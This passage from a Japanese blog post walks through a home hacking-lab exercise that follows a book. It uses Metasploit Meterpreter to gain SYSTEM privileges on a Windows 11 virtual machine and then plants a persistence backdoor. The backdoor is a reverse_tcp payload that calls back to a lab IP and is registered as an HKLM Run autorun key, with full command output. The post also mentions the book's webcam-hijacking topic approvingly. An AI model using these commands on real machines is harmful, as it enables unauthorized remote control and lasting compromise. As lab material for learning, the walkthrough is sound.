<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>管理者権限に昇格しました。<br>一応確認します。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>SYSTEMの権限奪取に成功です。</p>
<!-- /wp:paragraph -->

<!-- wp:heading {"level":4} -->
<h4>バックドアを仕掛けることはできるのか</h4>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>結論から言うと、WindowsのDefenderを無効にしないと、ペイロードの実行をDefenderに阻止されるため、バックドアの自動実行は失敗します。通常、Defenderを無効化しているケースは極めてレアケースといえるでしょう。<br>一応、バックドアを仕掛けるところまでを参考までに紹介しておきます。</p>
<!-- /wp:paragraph -->

<!-- wp:paragraph -->
<p>Windows 11起動時にペイロードが自動起動されるようにします。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">meterpreter > run persistence -X -i 60 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 192.168.56.103
</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:table -->
<figure class="wp-block-table"><table><tbody><tr><td>オプション</td><td>説明</td></tr><tr><td>-X</td><td>自動起動する</td></tr><tr><td>-i</td><td>接続間隔（秒）</td></tr><tr><td>-P</td><td>ペイロードを使用する</td></tr><tr><td>-p</td><td>ペイロードの相手ポート番号</td></tr><tr><td>-r</td><td>ペイロードの相手IPアドレス</td></tr></tbody></table></figure>
<!-- /wp:table -->

<!-- wp:paragraph -->
<p>上記コマンド実行中のメッセージは以下です。</p>
<!-- /wp:paragraph -->

<!-- wp:enlighter/codeblock -->
<pre class="EnlighterJSRAW" data-enlighter-language="generic" data-enlighter-theme="" data-enlighter-highlight="" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value […]
[] Running Persistence Script [] Resource file for cleanup created at /home/kali/.msf4/logs/persistence/W11-VB_20220604.5155/W11-VB_20220604.5155.rc
[] Creating Payload=windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.103 LPORT=4444 [] Persistent agent script is 10783 bytes long
[+] Persistent Script written to C:\Users\win\AppData\Local\Temp\BRCIdPXCdYHGP.vbs
[] Executing script C:\Users\win\AppData\Local\Temp\BRCIdPXCdYHGP.vbs [+] Agent executed with PID 3836 [] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\fnwVehFi
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\fnwVehFi</pre>
<!-- /wp:enlighter/codeblock -->

<!-- wp:paragraph -->
<p>これでいったん、バックドアは仕掛けられましたが、次のWindows起動時にDefenderにバックドアが検出され、無効化されてしまいます。</p>
<!-- /wp:paragraph -->

<!-- wp:heading -->
<h2>さいごに</h2>
<!-- /wp:heading -->

<!-- wp:paragraph -->
<p>IPUSIRON氏著の「ハッキング・ラボの作り方　仮想環境におけるハッカー体験学習」の著書にならってMetasploitを使い、Windows 11の遠隔操作と管理者権限が取得ができるところまでを紹介しました。<br>著書では、Webカメラを乗っ取って盗撮するなど、興味深いトピックがありますので、ぜひ手に取られてみてはいかがでしょうか。</p>
<!-- /wp:paragraph -->

<!-- wp:embed {"url":"https://daimaohsx.dip.jp/wordpress/2022/05/28/how-to-build-a-hacking-lab-2022-017/","type":"wp-embed","providerNameSlug":"seshat"} -->

<!-- /wp:embed -->